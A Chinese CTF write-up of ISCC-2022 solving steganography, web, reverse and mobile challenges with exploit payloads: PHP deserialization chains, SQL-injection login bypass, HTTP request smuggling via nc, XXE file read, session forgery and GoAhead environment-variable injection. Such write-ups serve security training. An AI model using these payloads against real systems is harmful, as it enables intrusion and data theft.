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ISCC-2022

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ISCC-2022

ISCC-2022

本文首发于奇安信攻防社区

注:本文所做题目时间和复现时间不一致,按照主办方每天中午更新flag,或许有不同

练武

MISC

单板小将苏翊鸣

下载附件得到压缩包和图片

修改高度

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扫码得到

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[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HywRxpCm-1654502690019)(https://s3-us-west-2.amazonaws.com/secure.notion-static.com/9bce7339-1ee2-4efd-bf82-efa9bb5577d6/YHH31W2LYCEF0(5I07TRW.png)]

所以密码为15942

得到

ISCC{beij-dbxj-2004}

降维打击

foremost分离

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zsteg对00000567进行分析,发现在b1,r,lsb,yx通道存在一张png

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分离得到

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[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NrY1EZHs-1654502690022)(https://s3-us-west-2.amazonaws.com/secure.notion-static.com/f3631465-89d1-4de7-82cd-ecc12a1bec31/Untitled.png)]

魔女文字对照得到flag

ISCC{RARC-ZQTX-EDKM}

藏在星空中的诗-1

psd图片用ps打开,不透明度设为100%

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由图片可得顺序

1 3 5 2 4

然后

密码就是这些星星(个人没学过MISC,真心感觉有点脑残,仅个人观点(狗头)

RNM有的星星Ctrl+F都找不到

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ISCC{CLUOLCDYZAWTFV}

真相只有一个

将png进行处理

zsteg -a entity.png

在b1,rgb,lsb,xy通道得到一个文本

提取一下

zsteg -E b1,rgb,lsb,xy entity.png > out2.png

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对压缩包进行掩码爆破

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解压后流量分析(stream+.zip里面的pcapng

发现password.mp3

并分离出来

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得到

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.. ... -.-. -.-. -- .. ... -.-.

得到

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猜测是nsow隐写

在这里插入图片描述

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ISCC{4Pbq-e9h2-r8AM}

隐秘的信息

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十六进制转二进制

把空格消除

#s tr1 = len('01100110011001000011001000110101001101000110010000110000011001000011000001100100011001010110010001100001001101010011000000111001011001000011010100111001001100000110010001100100001101010011000001100100011001000011010000111001001101100011000100110000011001000011001100110101001100100011100101100101001101010011100100110101001101010011000001100101001100010110010000111001011001000011000100110100001110010110001100110101011001100011011101100110011000110011000000110001011001100011100000110000001100000011011101100110')str1 = '01100110 01100100 00110010 00110101 00110100 01100100 00110000 0110010000110000 01100100 01100101 01100100 01100001 00110101 00110000 0011100101100100 00110101 00111001 00110000 01100100 01100100 00110101 0011000001100100 01100100 00110100 00111001 00110110 00110001 00110000 0110010000110011 00110101 00110010 00111001 01100101 00110101 00111001 0011010100110101 00110000 01100101 00110001 01100100 00111001 01100100 0011000100110100 00111001 01100011 00110101 01100110 00110111 01100110 0110001100110000 00110001 01100110 00111000 00110000 00110000 00110111 01100110'.replace(' ','')print str1
01100110011001000011001000110101001101000110010000110000011001000011000001100100011001010110010001100001001101010011000000111001011001000011010100111001001100000110010001100100001101010011000001100100011001000011010000111001001101100011000100110000011001000011001100110101001100100011100101100101001101010011100100110101001101010011000001100101001100010110010000111001011001000011000100110100001110010110001100110101011001100011011101100110011000110011000000110001011001100011100000110000001100000011011101100110

ASCII码的二进制表达,是从 0000 0000 开始,到 0111 1111 结束

得到

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ISCC{iBud7T7RXCMJyeT8vtRq}

WEB

冬奥会

show_source(__FILE__);$Step1=False;$Step2=False;$info=(array)json_decode(@$_GET['Information']);if(is_array($info)){    var_dump($info);    is_numeric(@$info["year"])?die("Sorry~"):NULL;    if(@$info["year"]){        ($info["year"]=2022)?$Step1=True:NULL;    }    if(is_array(@$info["items"])){        if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");        $status = array_search("skiing", $info["items"]);        $status===false?die("Sorry~"):NULL;        foreach($info["items"] as $key=>$val){            $val==="skiing"?die("Sorry~"):NULL;        }        $Step2=True;    }}if($Step1 && $Step2){    include "2022flag.php";echo $flag;}

当Step1和Step2都为True就输出flag

弱比较

数组长度为3,且第二个为数组,弱比较,遍历整个数组,其中skiing是强等于,所以只要数组中除了第二个有0即可

payload:

Information={"year":"2022a","items":[1,[2],0]}Information={"year":"2022a","items":[0,[2],1]}

在这里插入图片描述

ISCC{W31com3_T0_Beijin9}

Pop2022

源码:

Happy New Year~ MAKE A WISH<?phpecho 'Happy New Year~ MAKE A WISH
'
;if(isset($_GET['wish'])){ @unserialize($_GET['wish']);}else{ $a=new Road_is_Long; highlight_file(__FILE__);}class Road_is_Long{ public $page; public $string; public function __construct($file='index.php'){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } }}class Try_Work_Hard{ protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }}class Make_a_Change{ public $effort; public function __construct(){ $this->effort = array(); } public function __get($key){ $function = $this->effort; return $function(); }}

非常简单的构造,就不叙述过程了

exp:

class Road_is_Long{    public $page;    public $string;     function __construct($file='ki10Moc'){        $this->page = $file;    }}class Try_Work_Hard{    protected $var='php://filter/read=convert.base64-encode/resource=flag.php';}class Make_a_Change{    public $effort;}$a = new Road_is_Long();$a->string = new Make_a_Change();$a->string->effort = new Try_Work_Hard();$b = new Road_is_Long($a);echo urlencode(serialize($b));

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解码即可:

ISCC{P0p_Zi_aNd_P1p_Mei_Da1ly_life_2022}

Easy-SQL

?id=8   //出现回显,猜测可能是Mysql8

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?id=8 union table emails limit 8,1 --+

在这里插入图片描述

访问压缩包下载

得到源码:

include "./config.php";// error_reporting(0);// highlight_file(__FILE__);$conn = mysqli_connect($hostname, $username, $password, $database);   if ($conn->connect_errno) {    die("Connection failed: " . $conn->connect_errno);} echo "Where is the database?"."
"
;echo "try ?id";function sqlWaf($s){ $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i'; if (preg_match($filter,$s)) return False; return True;}if (isset($_GET['id'])) { $id = $_GET['id']; $sql = "select * from users where id=$id"; $safe = preg_match('/select/is', $id); if($safe!==0) die("No select!"); $result = mysqli_query($conn, $sql); if ($result) { $row = mysqli_fetch_array($result); echo "

" . $row['username'] . "


"
; echo "

" . $row['passwd'] . "

"
; } else die('
Error!'
);}if (isset($_POST['username']) && isset($_POST['passwd'])) { $username = strval($_POST['username']); $passwd = strval($_POST['passwd']); if ( !sqlWaf($passwd) ) die('damn hacker'); $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'"; $result = $conn->query($sql); if ($result->num_rows > 0) { $row = $result->fetch_assoc(); if ( $row['username'] === 'admin' && $row['passwd'] ) { if ($row['passwd'] == $passwd) { die($flag); } else { die("username or passwd wrong, are you admin?"); } } else { die("wrong user"); } } else { die("user not exist or wrong passwd"); }}mysqli_close($conn); ?>

这里之前可以判断一共是3列

三列内容:id,username,password

满足username=admin并且password=password

username=-1' union values row("admin","admin","ki10Moc")#&passwd=ki10Moc

在这里插入图片描述

ISCC{Fdsfs219_19FdFasVEsd0f158_T0o_SFFsd12156fs_m1}

让我康康!

发现提示Try flag

在这里插入图片描述

但是无查询结果

发现服务器是gunicorn20.0.0

想到请求走私

gunicorn 20.0.4 请求走私漏洞简析(含复现环境&Poc)-Linux实验室 (linuxlz.com)

直接打

echo -en "GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 123\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: 127.0.0.1/fl4g\r\nX-Forwarded-For: 127.0.0.1\r\nsecr3t_ip: 127.0.0.1\r\nContent-Length: 35\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc 59.110.159.206 7020

在这里插入图片描述

ISCC{AWEIweiwwwweeeiii_JJj9JJGg5GGG_NONONONO2022}

findme

浅析PHP原生类 - 安全客,安全资讯平台 (anquanke.com)

highlight_file(__FILE__);class a{    public $un0;    public $un1;    public $un2;    public $un3;    public $un4;        public function __destruct(){        if(!empty($this->un0) && empty($this->un2)){            $this -> Givemeanew();            if($this -> un3 === 'unserialize'){                $this -> yigei();            }            else{                $this -> giao();            }        }    }    public function Givemeanew(){        $this -> un4 = new $this->un0($this -> un1);    }    public function yigei(){        echo 'Your output: '.$this->un4;    }        public function giao(){        @eval($this->un2);    }        public function __wakeup(){        include $this -> un2.'hint.php';    }}$data = $_POST['data'];unserialize($data);

其中我在文章这里提到的一个小trick

在这里插入图片描述

再来看看源码,此处可以实现原生类的自声明和调用

$this -> un4 = new $this->un0($this -> un1);

__wakeup()中可以查看hint.php,那就先看一下hint.php

当然这是我最开始的写法,挺麻烦的,应该不是出题人的意思

class a{    public $un0 = 'SplFileObject';    public $un1 = 'php://filter/read=convert.base64-encode/resource=hint.php';    public $un2;    public $un3 = 'unserialize';    public $un4;}echo serialize(new a());

按照出题人的意思应该这么写

<?phpclass a{    public $un0;    public $un1;    public $un2 = 'php://filter/read=convert.base64-encode/resource=';    public $un3;    public $un4;}echo serialize(new a());

这样就可以直接读取hint.php,不需要去看前面的if,直接执行的

得到信息

php$a = 'flag在当前目录下以字母f开头的txt中,无法爆破出来';

下面就是找这样的文件

可以用**Directorylterator也可以用Filesystemlterator**

当然最好是使用**Globlterator,行为类似glob()**

在网上看到的一些在**Globlterator**下依然使用glob协议去读文件就挺….没必要的

<?phpclass a{    public $un0 = 'GlobIterator';    public $un1 = 'f*.txt';    public $un2;    public $un3 = 'unserialize';    public $un4;}echo serialize(new a());

得到

在这里插入图片描述

那最后再去读这个文件即可

class a{    public $un0 = 'SplFileObject';    public $un1 = 'fSSSbis19k_sdW15dMe.txt';    public $un2;    public $un3 = 'unserialize';    public $un4;}echo serialize(new a());
O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:23:"fSSSbis19k_sdW15dMe.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

在这里插入图片描述

ISCC{DS19sdw_SssfDA10nK_2077yyyyNNNN}

这是一道代码审计题

/index访问,login改成1

得到emoji

在这里插入图片描述

base100解码得到

源码:

def geneSign():    if(control_key==1):        return render_template("index.html")    else:        return "You have not access to this page!"def check_ssrf(url):    hostname = urlparse(url).hostname    try:        if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):            if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):                raise BaseException("url format error")        if  re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):            if judge_ip(hostname):                return True            return False, "You not get the right clue!"        else:            ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]            if is_inner_ipaddress(ip_address):                return False,"inner ip address attack"            else:                return False, "You not get the right clue!"    except BaseException as e:        return False, str(e)    except:        return False, "unknow error"def ip2long(ip_addr):    return struct.unpack("!L", socket.inet_aton(ip_addr))[0]def is_inner_ipaddress(ip):    ip = ip2long(ip)    print(ip)    return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24def waf1(ip):    forbidden_list = [ '.', '0', '1', '2', '7']    for word in forbidden_list:        if ip and word:            if word in ip.lower():                return True    return Falsedef judge_ip(ip):    if(waf1(ip)):        return Fasle    else:        addr = addr.encode(encoding = "utf-8")        ipp = base64.encodestring(addr)        ipp = ipp.strip().lower().decode()        if(ip==ipp):            global control_key            control_key = 1            return True        else:            return False

目的是要绕过judge_ip并且ip=ipp

在这里插入图片描述

mti3ljaumc4x

将cookie替换

在这里插入图片描述

在这里插入图片描述

/mti3ljaumc4x请求,可以看到ajax,xml

在这里插入图片描述

并且在title处可以看到flag.txt

<html><head>    <title>./flag.txt</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <script type="text/javascript">function codelogin(){var name = $("#name").val();var password = $("#password").val();if(name == "" || word == ""){alert("Please enter the username and password!");return;}var data = "" + name + "" + password + "";    $.ajax({    contentType: "application/xml;charset=utf-8",        type: "POST",        url: "codelogin",        data: data,        dataType: "xml",        anysc: false,        success: function (result) {        var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;        var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;        if(code == "0"){        $(".msg").text(msg + " login fail!");        }else if(code == "1"){        $(".msg").text(msg + " login success!");        }else{        $(".msg").text("error:" + msg);        }        },        error: function (XMLHttpRequest,textStatus,errorThrown) {            $(".msg").text(errorThrown + ':' + textStatus);        }    });}</script></head><body> <form> <div  id="loginFormMain"> <table  style="width:468px;height:262px;background-color: gray;text-align: center;">  <tr>   <th colspan="2" align="center" >登录</th>  </tr>  <tr>      <td>用户名:<input id="name" type="text" style="width: 200px;height: 30px;"  name="name"></td>  </tr>  <tr>      <td>密  码:<input id="password" type="password"  style="width: 200px;height: 30px;"  name="password"></td>  </tr>  <tr>      <td align="center" ><input type="button" style="cursor: pointer;font-style: inherit;" name="next"  value="login" οnclick="javascript:codelogin()" />  </tr> </table> </div>  </form></body></html>

在codelogin方法中

定义了请求方式和请求的数据,数据就是data,直接抄下来

构造一下

<!DOCTYPE ANY [<!ENTITY ki10Moc SYSTEM "./flag.txt">]><user><name>&ki10Moc;</name><password>password</password></user>

在这里插入图片描述

ISCC{jQvb8-aqQxRlOpBVtrX19-0579i8c-ew08Sq0xf}

爱国敬业好青年-2

题目一般靠猜,一半靠蒙

反正就是天安门广场

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三个页面 info flag change

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116.4102139.92267

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116°24′E39°55'N

但这样得到的并不对

应该可能是数据有偏差

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经过测试后修改下数据

116°23′E39°54'N

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ISCC{w179Qxxs_1QvPlNmSzX08vE_a18s_1q1846NO}

REVERSE

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v4的值付给v3传入sub_4115FF

之后给sub_411433运算

exp:

str1 = [149,169,137,134,212,188,177,184,177,197,192,179,153,172,152,123,164,193,113,184]str2 = [76,87,72,70,85,69,78,71,68,74,71,69,70,72,89,68,72,73,71,74]code = []flag =''str_len = len(str2)for i in range(str_len):    code.append(str1[i]-str2[i])print(code)for i in range(str_len):    flag += chr(code[i] ^ i)print(flag)//[73, 82, 65, 64, 127, 119, 99, 113, 109, 123, 121, 110, 83, 100, 63, 55, 92, 120, 42, 110]

ISCC{reverse_i18Li8}

MOBILE

MOBILEA

全局搜索关键字iscc

首先来看下Jlast函数

private boolean Jlast(String str) {        try {            MessageDigest instance = MessageDigest.getInstance("MD5");            new encode.BASE64Encoder();            String encode = encode.BASE64Encoder.encode(instance.digest(str.getBytes("utf-8")));            if (encode.length() != 24) {                return false;            }            char[] cArr = new char[encode.length()];            boolean z = false;            int i = 0;            for (int i2 = 5; i2 >= 0; i2--) {                if (!z) {                    for (int i3 = 3; i3 >= 0; i3--) {                        cArr[i] = encode.charAt((i3 * 6) + i2);                        i++;                    }                    z = true;                } else {                    for (int i4 = 0; i4 <= 3; i4++) {                        cArr[i] = encode.charAt((i4 * 6) + i2);                        i++;                    }                    z = false;                }            }            if (String.valueOf(cArr).equals("=IkMBb+=gF2/Try5PCUruw1j")) {                return true;            }

将内容逆回去

package mobile;public class k {    public static void main(String[] args) {        char[] cArr = new char[24];        String a = "=IkMBb+=gF2/Try5PCUruw1j";        boolean z = false;        int i = 0;        for (int i2 = 5; i2 >= 0; i2--) {            if (!z) {                for (int i3 = 3; i3 >= 0; i3--) {                    cArr[(i3 * 6) + i2] = a.charAt(i);                    i++;                }                z = true;            } else {                for (int i4 = 0; i4 <= 3; i4++) {                    cArr[(i4 * 6) + i2] = a.charAt(i);                    i++;                }                z = false;            }        }        System.out.println(cArr);    }}

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MD5解密

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得到_到}的内容

再来看AES的部分

                try {                    byte[] bytes = new String(Base64.encode("K@e2022%%y".getBytes(StandardCharsets.UTF_8), 0)).replace("\n", "").getBytes(StandardCharsets.UTF_8);                    byte[] bytes2 = new String(Base64.encode("I&V2022***".getBytes(StandardCharsets.UTF_8), 0)).replace("\n", "").getBytes(StandardCharsets.UTF_8);                    byte[] bytes3 = str.substring(5, i).getBytes(StandardCharsets.UTF_8);                    SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, "AES");                    IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2);                    Cipher instance = Cipher.getInstance("AES/CBC/PKCS7Padding");                    instance.init(1, secretKeySpec, ivParameterSpec);                    if (new String(Base64.encode(Base64.encodeToString(instance.doFinal(bytes3), 2).getBytes(StandardCharsets.UTF_8), 0)).replace("\n", "").equals("ZHNGazZsRGM1MXZ4VnQ1bUdadEptNDJaUkVqY2lyOFlQcEhEUGs5cDJxWT0=")) {                        return true;                    }                    return false;                } catch (Exception e) {                    e.printStackTrace();                }            }

这里可以得到秘钥和偏移量

将内容(ZHNGazZsRGM1MXZ4VnQ1bUdadEptNDJaUkVqY2lyOFlQcEhEUGs5cDJxWT0=)base64解密后

拿去解密即可得到{后到_的内容

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和leaf组合起来就是

ISCC{JFV(*&TFVcfgtyui_leaf}

擂台

MISC

666

08→00

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得到图片

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新的图片修改高度

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得到密码 !@#$%678()_+

流量分析

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https://www.cnblogs.com/konglingdi/p/14998301.html

得到gif图片

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第六帧出现

SE1ERWt1eTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==

第十六帧出现

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pQLKpP/

第二十六帧出现

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EPmw301eZRzuYvQ==

九键密码

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aes解密得到flag

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ISCC{lbwmeiyoukaig}

WEB

Melody

本人信息收集能力很弱能得到的信息很少

https://cdn.nlark.com/yuque/0/2022/png/12546170/1651588491332-947812e6-c2f8-42d4-be3b-0ba74fbae3d8.png

提示使用Melody浏览器

https://cdn.nlark.com/yuque/0/2022/png/12546170/1651588668492-76d17fd1-081a-43e3-b433-bee36cfca7b0.png

给了参数

https://cdn.nlark.com/yuque/0/2022/png/12546170/1651588713299-5dd057c4-9e72-4b47-a1d2-de5fbc315d0d.png

看下配置文件(框架是flask的

https://cdn.nlark.com/yuque/0/2022/png/12546170/1651589056531-3d83009e-4da4-4272-b11f-31011a435339.png

查找关键字秘钥

https://cdn.nlark.com/yuque/0/2022/png/12546170/1651589143648-2a867f3e-5262-41c7-bd46-d5d4fec7e700.png

秘钥:

meldoy-is-so-cute-wawawa!

伪造一下

https://cdn.nlark.com/yuque/0/2022/png/12546170/1651630592042-45ecd223-5625-4119-8e0d-e2599a532e4c.png

eyJ1c2VybmFtZSI6ImFkbWluIn0.YnHhUw.Doua6BXcMvBlLiF30ytOcDVBqZQ

登录

https://cdn.nlark.com/yuque/0/2022/png/12546170/1651630579404-a85cca15-402c-444d-b877-d63b1e051abe.png

没有flag

F12

源码如下:

# -*- coding:utf-8 -*-import pickleimport melodyimport base64from flask import Flask, Response,requestclass register:    def __init__(self,name,password):        self.name = name        self.password = password    def __eq__(self, other):        return type(other) is register and self.name == other.name and self.password == other.passwordclass RestrictedUnpickler(pickle.Unpickler):    def find_class(self, module, name):        if module[0:8] == '__main__':            return getattr(sys.modules['__main__'],name)        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def find(s):    return RestrictedUnpickler(io.BytesIO(s)).load()@app.route('/therealflag', methods=['GET','POST'])def realflag():    if request.method == 'POST':        try:            data = request.form.get('melody')            if b'R' in base64.b64decode(data):                return 'no reduce'            else:                result = find(base64.b64decode(data))                if type(result) is not register:                    return 'The type is not correct!'            correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))            if correct:                if session['username'] == 'admin':                    return Response(read('./flag.txt'))                else:                    return Response("You're not admin!")        except Exception as e:            return Response(str(e))    test = register('admin', '123456')    data = base64.b64encode(pickle.dumps(test)).decode()    return Response(data)

看下逻辑,在therealflag路由下,使用用户melody,密码hug注册就会返回flag

这里还需要对内容序列化,R操作码被ban了

#!/usr/bin/python3# -*- coding: utf-8 -*-# @Time    : 2022/5/4 19:40# @Author  : ki10Moc# @FileName: exp.py# @Software: PyCharm# Link: ki10.topimport pickleimport base64class register:    def __init__(self,name,password):        self.name = name        self.password = password    def __eq__(self, other):        return type(other) is register and self.name == other.name and self.password == other.passwordresult = register("melody","hug")a = pickle.dumps(result)print(base64.b64encode(a))

melody传参,在therealflag路由下操作即可

ISCC{2022_melody_secrets}

ping2rce

寒假看到P牛发的GoAhead的PDF,当时就瞟了一眼,然后坐牢半天,早知道当时就好好复现了呜呜呜

GoAhead环境变量注入复现踩坑记 - 跳跳糖 (tttang.com)

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只需要这两个部分替换,发送一个multipart数据包,通过表单来注入环境变量

POST /cgi-bin/ping?ip=0.0.0.0 HTTP/1.1Host: 59.110.159.206:8010Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPMContent-Length: 190------WebKitFormBoundarylNDKbe0ngCGdEiPMContent-Disposition: form-data; name="BASH_FUNC_ping%%"Content-Type: text/plain() { cat /flag; }------WebKitFormBoundarylNDKbe0ngCGdEiPM--

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ISCC{c1522169-7dcvd499-4add960-9ad36-8b2a5f2f7}

来源地址:https://blog.csdn.net/m0_52367015/article/details/125148662

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

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ISCC-2022

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